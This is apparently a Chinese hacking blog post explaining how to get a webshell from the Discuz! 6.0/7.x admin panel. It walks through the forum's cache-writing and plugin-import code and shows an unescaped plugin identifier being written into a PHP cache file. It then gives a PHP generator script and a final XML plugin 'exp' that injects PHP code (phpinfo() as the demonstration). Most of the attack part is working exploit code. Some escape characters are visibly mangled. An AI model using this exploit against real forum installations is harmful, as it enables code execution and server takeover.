Discuz!后台怎么拿到Webshell

趁着地球还没毁灭，赶紧放出来。

预祝"单恋一枝花"童鞋生日快乐。

恭喜我的浩方Dota升到2级。

希望世界和平。

我不是标题党，你们敢踩我。敢踩我。。踩我。。。我……

既然还没跪，我就从Discuz!古老的6.0版本开始，漏洞都出现在扩展插件上，利用方式有所不同，下面开始。

一 Discuz! 6.0 和 Discuz! 7.0

既然要后台拿Shell，文件写入必看。

/include/cache.func.php

function writetocache($script, $cachenames, $cachedata = '', $prefix = 'cache_') {
global $authkey;
if(is_array($cachenames) && !$cachedata) {
foreach($cachenames as $name) {
$cachedata .= getcachearray($name, $script);
}
}
$dir = DISCUZ_ROOT.'./forumdata/cache/';
if(!is_dir($dir)) {
@mkdir($dir, 0777);
}
if($fp = @fopen("$dir$prefix$script.php", 'wb')) {
fwrite($fp, "<?php/n//Discuz! cache file, DO NOT modify me!".
"/n//Created: ".date("M j, Y, G:i").
"/n//Identify: ".md5($prefix.$script.'.php'.$cachedata.$authkey)."/n/n$cachedata?>");
fclose($fp);
} else {
exit('Can not write to cache files, please check directory ./forumdata/ and ./forumdata/cache/ .');
}
}

往上翻,找到调用函数的地方.都在updatecache函数中.

if(!$cachename || $cachename == 'plugins') {
$query = $db->query("SELECT pluginid, available, adminid, name, identifier, datatables, directory, copyright, modules FROM {$tablepre}plugins");
while($plugin = $db->fetch_array($query)) {
$data = array_merge($plugin, array('modules' => array()), array('vars' => array()));
$plugin['modules'] = unserialize($plugin['modules']);
if(is_array($plugin['modules'])) {
foreach($plugin['modules'] as $module) {
$data['modules'][$module['name']] = $module;
}
}
$queryvars = $db->query("SELECT variable, value FROM {$tablepre}pluginvars WHERE pluginid='$plugin[pluginid]'");
while($var = $db->fetch_array($queryvars)) {
$data['vars'][$var['variable']] = $var['value'];
}
//注意
writetocache($plugin['identifier'], '', "/$_DPLUGIN['$plugin[identifier]'] = ".arrayeval($data), 'plugin_');
}
}

如果我们可以控制$plugin['identifier']就有机会,它是plugins表里读出来的.

去后台看看,你可以发现identifier对应的是唯一标示符.联想下二次注射,单引号从数据库读出后写入文件时不会被转义.贱笑一下.

但是……你懂的,当你去野区单抓对面DPS时,发现对面蹲了4个敌人的心情.

/admin/plugins.inc.php

if(($newname = trim($newname)) || ($newidentifier = trim($newidentifier))) {
if(!$newname) {
cpmsg('plugins_edit_name_invalid');
}
$query = $db->query("SELECT pluginid FROM {$tablepre}plugins WHERE identifier='$newidentifier' LIMIT 1");
//下面这个让人蛋疼欲裂,ispluginkey判定newidentifier是否有特殊字符
if($db->num_rows($query) || !$newidentifier || !ispluginkey($newidentifier)) {
cpmsg('plugins_edit_identifier_invalid');
}
$db->query("INSERT INTO {$tablepre}plugins (name, identifier, available) VALUES ('".dhtmlspecialchars(trim($newname))."', '$newidentifier', '0')");
}
//写入缓存文件
updatecache('plugins');
updatecache('settings');
cpmsg('plugins_edit_succeed', 'admincp.php?action=pluginsconfig');

还好Discuz!提供了导入的功能,好比你有隐身,对面没粉.你有疾风步,对面没控.好歹给咱留条活路.

elseif(submitcheck('importsubmit')) {
$plugindata = preg_replace("/(#.*/s+)*/", '', $plugindata);
$pluginarray = daddslashes(unserialize(base64_decode($plugindata)), 1);
//解码后没有判定
if(!is_array($pluginarray) || !is_array($pluginarray['plugin'])) {
cpmsg('plugins_import_data_invalid');
} elseif(empty($ignoreversion) && strip_tags($pluginarray['version']) != strip_tags($version)) {
cpmsg('plugins_import_version_invalid');
}
$query = $db->query("SELECT pluginid FROM {$tablepre}plugins WHERE identifier='{$pluginarray[plugin][identifier]}' LIMIT 1");
//判断是否重复,直接入库
if($db->num_rows($query)) {
cpmsg('plugins_import_identifier_duplicated');
}
$sql1 = $sql2 = $comma = '';
foreach($pluginarray['plugin'] as $key => $val) {
if($key == 'directory') {
//compatible for old versions
$val .= (!empty($val) && substr($val, -1) != '/') ? '/' : '';
}
$sql1 .= $comma.$key;
$sql2 .= $comma.'/''.$val.'/'';
$comma = ',';
}
$db->query("INSERT INTO {$tablepre}plugins ($sql1) VALUES ($sql2)");
$pluginid = $db->insert_id();
foreach(array('hooks', 'vars') as $pluginconfig) {
if(is_array($pluginarray[$pluginconfig])) {
foreach($pluginarray[$pluginconfig] as $config) {
$sql1 = 'pluginid';
$sql2 = '/''.$pluginid.'/'';
foreach($config as $key => $val) {
$sql1 .= ','.$key;
$sql2 .= ',/''.$val.'/'';
}
$db->query("INSERT INTO {$tablepre}plugin$pluginconfig ($sql1) VALUES ($sql2)");
}
}
}
updatecache('plugins');
updatecache('settings');
cpmsg('plugins_import_succeed', 'admincp.php?action=pluginsconfig');
}

随便新建一个插件,identifier为shell,生成文件路径及内容.然后导出备用.

/forumdata/cache/plugin_shell.php

<?php
//Discuz! cache file, DO NOT modify me!
//Created: Mar 17, 2011, 16:56
//Identify: 7c0b5adeadf5a806292d45c64bd0659c
$_DPLUGIN['shell'] = array (
'pluginid' => '11',
'available' => '0',
'adminid' => '0',
'name' => 'Getshell',
'identifier' => 'shell',
'datatables' => '',
'directory' => '',
'copyright' => '',
'modules' =>
array (
),
'vars' =>
array (
),
)?>

我们可以输入任意数据,唯一要注意的是文件名的合法性.感谢微软,下面的文件名是合法的.

/forumdata/cache/plugin_a']=phpinfo();$a['a.php

<?php
//Discuz! cache file, DO NOT modify me!
//Created: Mar 17, 2011, 16:56
//Identify: 7c0b5adeadf5a806292d45c64bd0659c
$_DPLUGIN['a']=phpinfo();$a['a'] = array (
'pluginid' => '11',
'available' => '0',
'adminid' => '0',
'name' => 'Getshell',
'identifier' => 'shell',
'datatables' => '',
'directory' => '',
'copyright' => '',
'modules' =>
array (
),
'vars' =>
array (
),
)?>

最后是编码一次,给成Exp:

<?php
$a = unserialize(base64_decode("YToyOntzOjY6InBsdWdpbiI7YTo5OntzOjk6ImF2YWlsYWJsZSI7czoxOiIw
IjtzOjc6ImFkbWluaWQiO3M6MToiMCI7czo0OiJuYW1lIjtzOjg6IkdldHNo
ZWxsIjtzOjEwOiJpZGVudGlmaWVyIjtzOjU6IlNoZWxsIjtzOjExOiJkZXNj
cmlwdGlvbiI7czowOiIiO3M6MTA6ImRhdGF0YWJsZXMiO3M6MDoiIjtzOjk6
ImRpcmVjdG9yeSI7czowOiIiO3M6OToiY29weXJpZ2h0IjtzOjA6IiI7czo3
OiJtb2R1bGVzIjtzOjA6IiI7fXM6NzoidmVyc2lvbiI7czo1OiI2LjAuMCI7
fQ=="));
//print_r($a);
$a['plugin']['name']='GetShell';
$a['plugin']['identifier']='a/']=phpinfo();$a[/'';
print(base64_encode(serialize($a)));
?>

最终exp:

<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
<item id="Title"><![CDATA[Discuz! Plugin]]></item>
<item id="Version"><![CDATA[7.2]]></item>
<item id="Time"><![CDATA[2011-03-16 15:57]]></item>
<item id="From"><![CDATA[Discuz! Board (http://localhost/Discuz_7.2_SC_UTF8/upload/)]]></item>
<item id="Data">
<item id="plugin">
<item id="available"><![CDATA[0]]></item>
<item id="adminid"><![CDATA[0]]></item>
<item id="name"><![CDATA[www]]></item>
<item id="identifier"><![CDATA[shell]]></item>
<item id="description"><![CDATA[]]></item>
<item id="datatables"><![CDATA[]]></item>
<item id="directory"><![CDATA[]]></item>
<item id="copyright"><![CDATA[]]></item>
<item id="modules"><![CDATA[a:0:{}]]></item>
<item id="version"><![CDATA[]]></item>
</item>
<item id="version"><![CDATA[7.2]]></item>
<item id="language">
<item id="scriptlang">
<item id="a'"><![CDATA[=>1);phpinfo();?>]]></item>
</item>
</item>
</item>
</root>